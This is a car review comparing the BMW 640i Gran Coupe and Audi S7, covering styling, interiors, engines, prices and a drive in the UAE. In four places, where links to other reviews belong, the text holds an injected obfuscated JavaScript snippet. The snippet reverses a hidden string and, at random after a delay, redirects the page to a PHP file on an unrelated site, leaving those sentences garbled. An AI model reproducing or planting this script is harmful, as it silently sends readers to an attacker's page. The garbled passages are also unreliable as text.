BMW 640i Gran Coupe. Audi S7. Sleek Attire

There doesn’t seem to be a proper word to describe these cars as yet. ‘Four-door coupes’ is the best the industry has managed so far, but that doesn’t really work for me. In my book, they’re still saloons, but that doesn’t distinguish adequately. And coupes have two doors. ‘Saloupe’ is apparently a rude word in French, so perhaps ‘couploon’ is the best bet for now.

Whatever you call them, these are two of the most recent of them. Audi’s S7 touched down not too long ago in the Middle East, hot on the heels of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/bmw-6-series-new-gran-coupe-magic-hour/” target=”_blank”>BMW 6 Series Gran Coupe. They both aim to offer the sleek looks of a coupe but with the practicality of a saloon, and the precision engineering of a German powerhouse. We’ve assembled both the S7 and the 640i version of the Gran Coupe to see which is the daddy.

Looks wise, both are more interesting on the eye than a lot of the press cars we get through the parking garage at crankandpiston. The Gran Coupe is clad in a matt metallic brown colour, with a tan leather and white gloss interior. We rather liked it $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/bmw-6-series-new-gran-coupe-magic-hour/” target=”_blank”>the first time we tried it, but since then it’s been through countless other magazines and has more than 14,000 hard kilometres on it. Three of the four alloys are badly kerbed and someone has pushed in the button on the side of the gear lever.

Still, quality should show through. And it still looks really, really smart. Cool paint aside, it’s probably the best-looking BMW of recent years, with a purposeful face and dynamic lines. The back isn’t too chunky, and it exudes an air of styled muscle.

The S7, on the other hand, has only a couple of thousand clicks on it, and sits resplendent in a deep blue metallic paint. The front end is typical of recent Audis, taking the classic family look and sharpening it up for the modern age. In contrast to the BMW’s saloon-style boot lid, the Audi has a hatchback tailgate which gives a huge aperture for loading luggage into the spacious boot. I’m not completely convinced by the rear end styling, either of this S model or the regular A7 range. It almost looks like it’s wearing a helmet over sullen rear lamp eyes and the rear overhang looks unusually large.

The interior is $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/audi-s6-dubai-uae-giving-the-game-away/” target=”_blank”>virtually identical to the S6, which is hardly surprising as the two share mechanical underpinnings. Under the bonnet is a 414bhp twin-turbocharged 4.0-litre V8, with power heading to all four wheels through a seven-speed dual-clutch gearbox. The cost for all this? $91,177.

This contrasts with the BMW, which sports a 3.0-litre turbocharged straight six with eight-speed auto ‘box and is rear-wheel driven. It only makes 315bhp, which begs the question – why are we comparing two cars with almost 100bhp separating them? Simple. The BMW costs $98,012. Which means it’ll need to be pretty special to justify the higher price tag.

Our drive takes place as winter finally starts to get a foothold on the Middle Eastern weather. It’s still in the 30s outside, but the sun is crisp and the cloying humidity is fading away at last. We’re taking these two couploons through and out of town, onto the fast, deserted and camera-free roads of the central UAE. The only flashes we’ll see today are from the shutter of our snapper Moe. James Davison joins us as a spare driver.

I start in the Audi. Just like $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/audi-s6-dubai-uae-giving-the-game-away/” target=”_blank”>the S6 I drove earlier, I’m hugely impressed by the comfort and levels of refinement inside. The S7 has the same carbon fibre trim and quilted leather upholstery as the S6 – the only differences are the sloping roof at the back which means a little less headroom, and the S7 badges embossed onto the steering wheel and the fixed headrests of each front seat.

On the cruise out of town it’s beautifully composed and the Quattro system gives plenty of traction away from roundabouts. The steering is nicely hefty at speed but lightens up considerably for manoeuvring to save on the arm muscles. Covering large numbers of kilometres is an experience never less than wonderful.

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BMW 640i Gran Coupe. Audi S7. Sleek Attire

Phill Tromans

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